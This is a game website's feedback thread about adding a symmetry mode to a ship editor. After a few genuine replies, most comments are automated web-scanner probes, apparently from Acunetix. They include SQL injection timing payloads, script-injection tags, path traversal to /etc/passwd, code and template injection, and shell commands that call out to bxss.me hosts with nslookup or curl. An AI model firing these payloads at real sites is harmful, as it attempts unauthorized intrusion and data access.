Feedback

You guys should have a symmetrical mode by Idrees - 154 months ago

For the ship editor, you guys need a function where you can build on one side of a line and it repeats on the other side. That way it would be easier to build perfect ships. Kind of like Bubble Tanks 3's ship editor.

• SiteDestroyer3

  I AGREEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

• Tobyoconnell

  I second this

• pumpkin_pips

  sounds good

• lxbfYeaa

  1

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1CztEeBMMxO

• WfxYANoW

  ${10000122+9999146}

• ${9999104+9999487}

  1

• 1DdNrkg9bnO

  1

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• WfxYANoW

  Http://bxss.me/t/fit.txt

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• Anonymous

  1

• WfxYANoW

  response.write(9545667*9310319)

• WfxYANoW

  '+response.write(9545667*9310319)+'

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• WfxYANoW

  "+response.write(9545667*9310319)+"

• WfxYANoW

  file:///etc/passwd

• response.write(9661075*9982304)

  1

• WfxYANoW

  1

• WfxYANoW

  ../1

• '+response.write(9661075*9982304)+'

  1

• WfxYANoW

  /etc/shells

• WfxYANoW

  echo pcexel$()\ srjtzx\nz^xyu||a #' &echo pcexel$()\ srjtzx\nz^xyu||a #|" &echo pcexel$()\ srjtzx\nz^xyu||a #

• WfxYANoW

  &echo lyelqo$()\ myfedy\nz^xyu||a #' &echo lyelqo$()\ myfedy\nz^xyu||a #|" &echo lyelqo$()\ myfedy\nz^xyu||a #

• WfxYANoW

  K2r7Ut0P

• file:///etc/passwd

  1

• "+response.write(9661075*9982304)+"

  1

• WfxYANoW

  1&echo bhlpcj$()\ ztxwsd\nz^xyu||a #' &echo bhlpcj$()\ ztxwsd\nz^xyu||a #|" &echo bhlpcj$()\ ztxwsd\nz^xyu||a #

• WfxYANoW

  1&n999325=v977478

• WfxYANoW

  |echo soytwd$()\ vxrnow\nz^xyu||a #' |echo soytwd$()\ vxrnow\nz^xyu||a #|" |echo soytwd$()\ vxrnow\nz^xyu||a #

• WfxYANoW

  J8BDqUM7: bN5ghr8P

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• WfxYANoW

  1

• nCXPiPgn

  1

• WfxYANoW&n929074=v999201

  1

• WfxYANoW

  1|echo cwkzpl$()\ ldlfbv\nz^xyu||a #' |echo cwkzpl$()\ ldlfbv\nz^xyu||a #|" |echo cwkzpl$()\ ldlfbv\nz^xyu||a #

• HgZb1m4v: NuGW0uPk

  1

• WfxYANoW

  (nslookup -q=cname hitiwitttefkh1112d.bxss.me||curl hitiwitttefkh1112d.bxss.me))

• YUlrQmplYjE=

  1

• WfxYANoW

  c:/windows/win.ini

• WfxYANoW

  )

• ../WfxYANoW

  1

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• WfxYANoW

  bxss.me

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• WfxYANoW

  ';print(md5(31337));$a='

• WfxYANoW

  !(()&&!|*|*|

• WfxYANoW

  ^(#$!@#$)(()))******

• WfxYANoW

  1

• )

  1

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• WfxYANoW

  '.gethostbyname(lc('hithk'.'lljbferr91646.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(77).chr(117).chr(79).'

• WfxYANoW

  ";print(md5(31337));$a="

• Http://bxss.me/t/fit.txt

  1

• !(()&&!|*|*|

  1

• WfxYANoW

  ".gethostbyname(lc("hitxf"."yayvmeqwf3a39.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(66).chr(115).chr(71)."

• http://bxss.me/t/fit.txt?.jpg

  1

• WfxYANoW

  gethostbyname(lc('hitrp'.'brjmsjesb2455.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(83).chr(120).chr(68)

• /etc/shells

  1

• WfxYANoW

  '"()

• WfxYANoW

  xfs.bxss.me

• WfxYANoW

  1'&&sleep(27*1000)*xmbypy&&'

• WfxYANoW

  ${@print(md5(31337))}

• WfxYANoW

  $(nslookup -q=cname hitusamfddzfi3e0a1.bxss.me||curl hitusamfddzfi3e0a1.bxss.me)

• ^(#$!@#$)(()))******

  1

• xfs.bxss.me

  1

• WfxYANoW

  '"

• WfxYANoW

  1"&&sleep(27*1000)*zyubyb&&"

• c:/windows/win.ini

  1

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• WfxYANoW

  <!--

• WfxYANoW

  1'"()&%<zzz><ScRiPt >lK5e(9009)</ScRiPt>

• WfxYANoW

  ${@print(md5(31337))}\

• bxss.me

  1

• WfxYANoW

  1'||sleep(27*1000)*utdzqm||'

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(115).concat(80).concat(97).concat(71)+(require"socket" Socket.gethostbyname("hitbu"+"xwmuhubi57891.bxss.me.")[3].to_s)+"

• '"

  1

• WfxYANoW

  &nslookup -q=cname hittuqfdcpfjl7e55b.bxss.me&'\"`0&nslookup -q=cname hittuqfdcpfjl7e55b.bxss.me&`'

• WfxYANoW

  bxss.me/t/xss.html?%00

• <!--

  1

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(117).concat(79).concat(101).concat(80)+(require'socket' Socket.gethostbyname('hitki'+'tnkdlgkkc3c89.bxss.me.')[3].to_s)+'

• WfxYANoW

  1

• WfxYANoW

  &(nslookup -q=cname hitlqpcgojrkt89980.bxss.me||curl hitlqpcgojrkt89980.bxss.me)&'\"`0&(nslookup -q=cname hitlqpcgojrkt89980.bxss.me||curl hitlqpcgojrkt89980.bxss.me)&`'

• WfxYANoW

  1"||sleep(27*1000)*cohwba||"

• WfxYANoW

  comment

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(118).concat(67).concat(118).concat(84)+(require'socket' Socket.gethostbyname('hitcn'+'fwjwiovlcc5cf.bxss.me.')[3].to_s)

• WfxYANoW

  |(nslookup -q=cname hitbsckjkkrnx2aff9.bxss.me||curl hitbsckjkkrnx2aff9.bxss.me)

• WfxYANoW

  comment

• HttP://bxss.me/t/xss.html?%00

  1

• WfxYANoW

  '.print(md5(31337)).'

• WfxYANoW

  `(nslookup -q=cname hitttodspporx6e316.bxss.me||curl hitttodspporx6e316.bxss.me)`

• bxss.me/t/xss.html?%00

  1

• WfxYANoW

  comment/.

• WfxYANoW

  ;(nslookup -q=cname hitgwytiniduz32c19.bxss.me||curl hitgwytiniduz32c19.bxss.me)|(nslookup -q=cname hitgwytiniduz32c19.bxss.me||curl hitgwytiniduz32c19.bxss.me)&(nslookup -q=cname hitgwytiniduz32c19.bxss.me||curl hitgwytiniduz32c19.bxss.me)

• comment

  1

• WfxYANoW

  1

• WfxYANoW

  '"()&%<zzz><ScRiPt >lK5e(9016)</ScRiPt>

• comment

  1

• ';print(md5(31337));$a='

  1

• comment/.

  1

• ";print(md5(31337));$a="

  1

• '"()

  1

• WfxYANoW'&&sleep(27*1000)*zxmzug&&'

  1

• WfxYANoW

  19167634

• ${@print(md5(31337))}

  1

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hitzjuvdakiuk94d7f.bxss.me||curl${IFS}hitzjuvdakiuk94d7f.bxss.me)

• WfxYANoW

  bfg10896＜s1﹥s2ʺs3ʹhjl10896

• WfxYANoW"&&sleep(27*1000)*dgvqyl&&"

  1

• WfxYANoW'||sleep(27*1000)*anjrho||'

  1

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hittqjfdvsnjjee200.bxss.me||curl${IFS}hittqjfdvsnjjee200.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hittqjfdvsnjjee200.bxss.me||curl${IFS}hittqjfdvsnjjee200.bxss.me)&`'

• ${@print(md5(31337))}\

  1

• WfxYANoW

  <th:t="${dfb}#foreach

• '.print(md5(31337)).'

  1

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW"||sleep(27*1000)*rnpqps||"

  1

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >lK5e(9467)</ScRiPt>

• WfxYANoW

  1<W6PU2U>01OXT[!+!]</W6PU2U>

• WfxYANoW

  1<script>lK5e(9494)</script>

• WfxYANoW

  1<script>lK5e(9276)</script>9276

• WfxYANoW

  1

• WfxYANoW

  1<ScR<ScRiPt>IpT>lK5e(9095)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >lK5e(9097)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9248></ScRiPt>

• WfxYANoW

  1<ScRiPt >lK5e(9691)</ScRiPt>

• WfxYANoW

  1<isindex type=image src=1 onerror=lK5e(9872)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9538'>

• WfxYANoW

  1<body onload=lK5e(9830)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=lK5e(9380)>

• WfxYANoW

  1<img src=xyz OnErRor=lK5e(9377)>

• WfxYANoW

  1<img/src=">" onerror=alert(9990)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%6C%4B%35%65%289806%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1\u003CScRiPt\lK5e(9751)\u003C/sCripT\u003E

• WfxYANoW

  1&lt;ScRiPt&gt;lK5e(9885)&lt;/sCripT&gt;

• WfxYANoW

  1<input autofocus onfocus=lK5e(9767)>

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  1x0akoSER

• WfxYANoW

  1}body{zzz:Expre/**/SSion(lK5e(9717))}

• WfxYANoW

  17LvtE <ScRiPt >lK5e(9278)</ScRiPt>

• WfxYANoW

  1<WOUCGD>VAEHG[!+!]</WOUCGD>

• WfxYANoW

  1<ifRAme sRc=9913.com></IfRamE>

• WfxYANoW

  1<aHDaIov x=9681>

• WfxYANoW

  1<img sRc='http://attacker-9439/log.php?

• WfxYANoW

  1<aAVmgDu<

• WfxYANoW'"()&%<zzz><ScRiPt >lK5e(9177)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >lK5e(9880)</ScRiPt>

  1

• WfxYANoW9920504

  1

• WfxYANoW

  1

• bfg1261＜s1﹥s2ʺs3ʹhjl1261

  1

• WfxYANoW

  -1 OR 2+323-323-1=0+0+0+1 --

• <%={{={@{#{${dfb}}%>

  1

• WfxYANoW

  -1 OR 2+796-796-1=0+0+0+1

• WfxYANoW

  -1' OR 2+317-317-1=0+0+0+1 --

• <th:t="${dfb}#foreach

  1

• WfxYANoW

  -1' OR 2+587-587-1=0+0+0+1 or 'kZUwSTZK'='

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• WfxYANoW

  -1" OR 2+947-947-1=0+0+0+1 --

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >lK5e(9481)</ScRiPt>

  1

• WfxYANoW<W2PPG6>PIRHX[!+!]</W2PPG6>

  1

• WfxYANoW<script>lK5e(9969)</script>

  1

• WfxYANoW<script>lK5e(9180)</script>9180

  1

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• WfxYANoW<ScRiPt >lK5e(9906)</ScRiPt>

  1

• WfxYANoW<ScRiPt >lK5e(9859)</ScRiPt>

  1

• WfxYANoW<body onload=lK5e(9620)>

  1

• WfxYANoW<img src=xyz OnErRor=lK5e(9823)>

  1

• WfxYANoW<img/src=">" onerror=alert(9162)>

  1

• WfxYANoW\u003CScRiPt\lK5e(9527)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;lK5e(9980)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=lK5e(9360)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(lK5e(9489))}

  1

• WfxYANoWphyFm <ScRiPt >lK5e(9690)</ScRiPt>

  1

• WfxYANoW<W4U1FK>LTRSN[!+!]</W4U1FK>

  1

• WfxYANoW<ifRAme sRc=9267.com></IfRamE>

  1

• WfxYANoW<aJTtypd x=9170>

  1

• WfxYANoW<img sRc='http://attacker-9769/log.php?

  1

• WfxYANoW<aHVbu6F<

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1TMxOSsoX'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 708=(SELECT 708 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 305=(SELECT 305 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 991=(SELECT 991 FROM PG_SLEEP(15))--

• WfxYANoW

  1fklZcQP9' OR 532=(SELECT 532 FROM PG_SLEEP(15))--

• WfxYANoW

  17VWyWzS0') OR 676=(SELECT 676 FROM PG_SLEEP(15))--

• WfxYANoW

  1SSphKfk5')) OR 675=(SELECT 675 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@eAbAA

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoWnvimS6Y3

  1

• WfxYANoW

  1

• -1 OR 2+715-715-1=0+0+0+1 --

  1

• -1 OR 2+62-62-1=0+0+0+1

  1

• -1' OR 2+744-744-1=0+0+0+1 --

  1

• -1' OR 2+663-663-1=0+0+0+1 or 'WlUeWMsN'='

  1

• -1" OR 2+636-636-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoWzlt5WQVq'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@jQDZF

  1

• Pecedec150

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• jvtwwcve

  1

• yukebguq

  response.write(9426637*9955118)

• yukebguq

  '+response.write(9426637*9955118)+'

• yukebguq

  "+response.write(9426637*9955118)+"

• response.write(9926971*9017391)

  1

• '+response.write(9926971*9017391)+'

  1

• "+response.write(9926971*9017391)+"

  1

• rxbaivmt

  1

• udbgmpkg

  set|set&set

• rxbaivmt

  1

• udbgmpkg

  $(nslookup bKolimfC)

• rxbaivmt

  Os2iDu9Z

• udbgmpkg

  &nslookup i9cNWqvB&'\"`0&nslookup i9cNWqvB&`'

• rxbaivmt

  -1 OR 2+620-620-1=0+0+0+1 --

• set|set&set

  1

• rxbaivmt

  -1 OR 2+69-69-1=0+0+0+1

• $(nslookup MwCCd98v)

  1

• jkthwyda

  OQjhb8Y8

• rxbaivmt

  -1' OR 2+70-70-1=0+0+0+1 --

• gkasocgx

  ../../../../../../../../../../etc/passwd

• &nslookup DcF0ZtBt&'\"`0&nslookup DcF0ZtBt&`'

  1

• ofrrfhgn

  1

• JUj0WZQm

  1

• rxbaivmt

  -1' OR 2+342-342-1=0+0+0+1 or 'BCQlxqbV'='

• oiuxnexh

  ${9999935+10000009}

• gkasocgx

  ../../../../../../../../../../../../../../../proc/version

• uotmkbos

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• cWhBVjF6MEo=

  1

• rxbaivmt

  -1" OR 2+308-308-1=0+0+0+1 --

• ${10000094+9999808}

  1

• gkasocgx

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• uotmkbos

  1some_inexistent_file_with_long_name.jpg

• xtbkfbqi

  1&n982677=v993213

• rxbaivmt

  if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"*/

• fqvinyxa

  )

• gkasocgx

  ../../../../../../../../../../etc/passwd.jpg

• uotmkbos

  Http://testasp.vulnweb.com/t/fit.txt

• rxbaivmt

  (select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/

• fqvinyxa

  !(()&&!|*|*|

• gkasocgx

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• uotmkbos

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• ofrrfhgn

  1

• utjxmfbn&n969858=v940349

  1

• rxbaivmt

  -1; waitfor delay '0:0:9' --

• fqvinyxa

  ^(#$!@#$)(()))******

• gkasocgx

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• uotmkbos

  testasp.vulnweb.com

• Anonymous

  1

• widdorha

  '"()

• rxbaivmt

  -1); waitfor delay '0:0:3' --

• )

  1

• gkasocgx

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• iqogthrm

  ;print(md5(acunetix_wvs_security_test));

• rxbaivmt

  -1); waitfor delay '0:0:0' --

• !(()&&!|*|*|

  1

• gkasocgx

  /etc/passwd

• 1some_inexistent_file_with_long_name.jpg

  1

• iqogthrm

  ';print(md5(acunetix_wvs_security_test));$a='

• '"()

  1

• rxbaivmt

  1 waitfor delay '0:0:3' --

• ^(#$!@#$)(()))******

  1

• gkasocgx

  %2fetc%2fpasswd

• Http://testasp.vulnweb.com/t/fit.txt

  1

• duerrvqh

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• iqogthrm

  ";print(md5(acunetix_wvs_security_test));$a="

• qlfbaeqd

  1

• rxbaivmt

  1 waitfor delay '0:0:0' --

• dctgwxku

  http://hitdrMj1ixZNG.bxss.me/

• gkasocgx

  /.././.././.././.././.././.././.././../etc/./passwd%00

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• iqogthrm

  ${@print(md5(acunetix_wvs_security_test))}

• qlfbaeqd

  comment

• rxbaivmt

  8mqK3hOY'; waitfor delay '0:0:3' --

• http://hitiahwv7gFgE.bxss.me/

  1

• gkasocgx

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• testasp.vulnweb.com

  1

• ngutsieg

  1

• iqogthrm

  ${@print(md5(acunetix_wvs_security_test))}\

• qlfbaeqd

  comment

• rxbaivmt

  IbXntOiq'; waitfor delay '0:0:6' --

• fvuqhfav

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• gkasocgx

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• xokfmywr

  /www.vulnweb.com

• ngutsieg

  1'"

• ;print(md5(acunetix_wvs_security_test));

  1

• qlfbaeqd

  comment/.

• rxbaivmt

  -1;select pg_sleep(3); --

• /www.vulnweb.com

  1

• ngutsieg

  \

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• qlfbaeqd

  1

• rxbaivmt

  -1;select pg_sleep(6); --

• gnimignh

  '"

• gkasocgx

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• kmxdtuet

  1'"()&%<acx><ScRiPt >IpGE(9852)</ScRiPt>

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• comment

  1

• rxbaivmt

  -1);select pg_sleep(3); --

• gnimignh

  <!--

• gkasocgx

  file:///etc/passwd

• ngutsieg

  @@dqj7b

• ${@print(md5(acunetix_wvs_security_test))}

  1

• comment

  1

• rxbaivmt

  -1);select pg_sleep(9); --

• '"

  1

• gkasocgx

  /\../\../\../\../\../\../\../etc/passwd

• ngutsieg

  JyI=

• kmxdtuet

  '"()&%<acx><ScRiPt >IpGE(9080)</ScRiPt>

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• comment/.

  1

• rxbaivmt

  -1));select pg_sleep(3); --

• <!--

  1

• gkasocgx

  WEB-INF/web.xml

• rxbaivmt

  -1));select pg_sleep(9); --

• gkasocgx

  /WEB-INF/web.xml

• rxbaivmt

  PnaeN7RI';select pg_sleep(6); --

• kmxdtuet

  1_9716

• gkasocgx

  WEB-INF\web.xml

• rxbaivmt

  PwmbCrCr');select pg_sleep(6); --

• ngutsieg

  (select convert(int,CHAR(65)))

• ../../../../../../../../../../etc/passwd

  1

• rxbaivmt

  hohtlha3'));select pg_sleep(6); --

• ngutsieg

  1

• kmxdtuet

  acu10683＜s1﹥s2ʺs3ʹuca10683

• rxbaivmt

  1

• 1'"

  1

• rxbaivmt

  1

• \

  1

• UiGB3MqZ

  1

• -1 OR 2+365-365-1=0+0+0+1 --

  1

• @@IAPva

  1

• JyI=

  1

• -1 OR 2+406-406-1=0+0+0+1

  1

• -1' OR 2+254-254-1=0+0+0+1 --

  1

• -1' OR 2+912-912-1=0+0+0+1 or 'xvYodf9b'='

  1

• (select convert(int,CHAR(65)))

  1

• -1" OR 2+570-570-1=0+0+0+1 --

  1

• kmxdtuet

  {{9999973*9999346}}

• 1 waitfor delay '0:0:4' --

  1

• ../../../../../../../../../../etc/passwd.jpg

  1

• NtRvRGUN'; waitfor delay '0:0:4' --

  1

• Cce4dLj7';select pg_sleep(8); --

  1

• kmxdtuet

  1<ScRiPt >IpGE(9418)</ScRiPt>

• Cp4EcsmM');select pg_sleep(8); --

  1

• ylRKVM5h'));select pg_sleep(8); --

  1

• kmxdtuet

  1<WCFVEI>PEXWG[!+!]</WCFVEI>

• kmxdtuet

  1<script>IpGE(9436)</script>

• kmxdtuet

  1<ScR<ScRiPt>IpT>IpGE(9429)</sCr<ScRiPt>IpT>

• kmxdtuet

  1<ScRiPt >IpGE(9626)</ScRiPt>

• kmxdtuet

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9761></ScRiPt>

• kmxdtuet

  1<ScRiPt >IpGE(9726)</ScRiPt>

• kmxdtuet

  1<video><source onerror="javascript:IpGE(9911)">

• kmxdtuet

  1<isindex type=image src=1 onerror=IpGE(9810)>

• kmxdtuet

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9077'>

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• /etc/passwd

  1

• %2fetc%2fpasswd

  1

• kmxdtuet

  1<body onload=IpGE(9907)>

• kmxdtuet

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=IpGE(9242)>

• file:///etc/passwd

  1

• /\../\../\../\../\../\../\../etc/passwd

  1

• kmxdtuet

  1<img src=xyz OnErRor=IpGE(9127)>

• WEB-INF/web.xml

  1

• /WEB-INF/web.xml

  1

• WEB-INF\web.xml

  1

• kmxdtuet

  1<img/src=">" onerror=alert(9674)>

• kmxdtuet

  %31%3C%53%63%52%69%50%74%20%3E%49%70%47%45%289270%29%3C%2F%73%43%72%69%70%54%3E

• kmxdtuet

  1\u003CScRiPt\IpGE(9270)\u003C/sCripT\u003E

• kmxdtuet

  1&lt;ScRiPt&gt;IpGE(9786)&lt;/sCripT&gt;

• kmxdtuet

  1<input autofocus onfocus=IpGE(9932)>

• kmxdtuet

  <a HrEF=http://www.vulnweb.com></a>

• kmxdtuet

  <a HrEF=jaVaScRiPT:>

• kmxdtuet

  [url=http://www.vulnweb.com][/url]

• kmxdtuet

  1<img<!-- --> src=x onerror=alert(9654);//><!-- -->

• kmxdtuet

  1}body{acu:Expre/**/SSion(IpGE(9816))}

• kmxdtuet

  1<% contenteditable onresize=IpGE(9414)>

• kmxdtuet

  1_lqyf7 <ScRiPt >IpGE(9713)</ScRiPt>

• kmxdtuet

  1<WCGHRF>LWFJJ[!+!]</WCGHRF>

• kmxdtuet

  1<ifRAme sRc=9900.com></IfRamE>

• kmxdtuet

  1<YD3NVo x=9590>

• kmxdtuet

  1<img sRc='http://attacker-9533/log.php?

• kmxdtuet'"()&%<acx><ScRiPt >IpGE(9193)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >IpGE(9144)</ScRiPt>

  1

• kmxdtuet_9898

  1

• acu8396＜s1﹥s2ʺs3ʹuca8396

  1

• {{10000229*10000492}}

  1

• kmxdtuet<ScRiPt >IpGE(9517)</ScRiPt>

  1

• kmxdtuet<WGULAA>WI9SW[!+!]</WGULAA>

  1

• kmxdtuet<script>IpGE(9527)</script>

  1

• kmxdtuet<ScRiPt >IpGE(9696)</ScRiPt>

  1

• kmxdtuet<ScRiPt >IpGE(9456)</ScRiPt>

  1

• kmxdtuet<body onload=IpGE(9480)>

  1

• kmxdtuet<img src=xyz OnErRor=IpGE(9029)>

  1

• kmxdtuet<img/src=">" onerror=alert(9462)>

  1

• kmxdtuet\u003CScRiPt\IpGE(9611)\u003C/sCripT\u003E

  1

• kmxdtuet&lt;ScRiPt&gt;IpGE(9696)&lt;/sCripT&gt;

  1

• kmxdtuet<input autofocus onfocus=IpGE(9732)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• kmxdtuet}body{acu:Expre/**/SSion(IpGE(9040))}

  1

• kmxdtuet<% contenteditable onresize=IpGE(9148)>

  1

• kmxdtuet_A94Ew <ScRiPt >IpGE(9596)</ScRiPt>

  1

• kmxdtuet<WG2B1C>7IAT1[!+!]</WG2B1C>

  1

• kmxdtuet<ifRAme sRc=9685.com></IfRamE>

  1

• kmxdtuet<uzx1Up x=9593>

  1

• kmxdtuet<img sRc='http://attacker-9143/log.php?

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 152 months ago
  Unvote

  8065 agree

• Hack Protection
  By Stealthkid - 144 months ago
  Unvote

  2858 agree

• Add to favorites
  By Anonymous - 155 months ago
  Unvote

  799 agree

• editro
  By critic - 155 months ago
  Unvote

  772 agree

• Missiles as an Third Weapon
  By Ram - 151 months ago
  Unvote

  747 agree

• Youtube B-wing achievement
  By chuck norris - 153 months ago
  Unvote

  746 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 111 months ago
  Unvote

  710 agree

• Change Name?
  By Anonymous - 155 months ago
  Unvote

  681 agree

• Slide ship in on start
  By Kickass guy - 155 months ago
  Unvote

  661 agree

• Mistaken Website Bug
  By CrazyDeathling - 153 months ago
  Unvote

  661 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 150 months ago
  Unvote

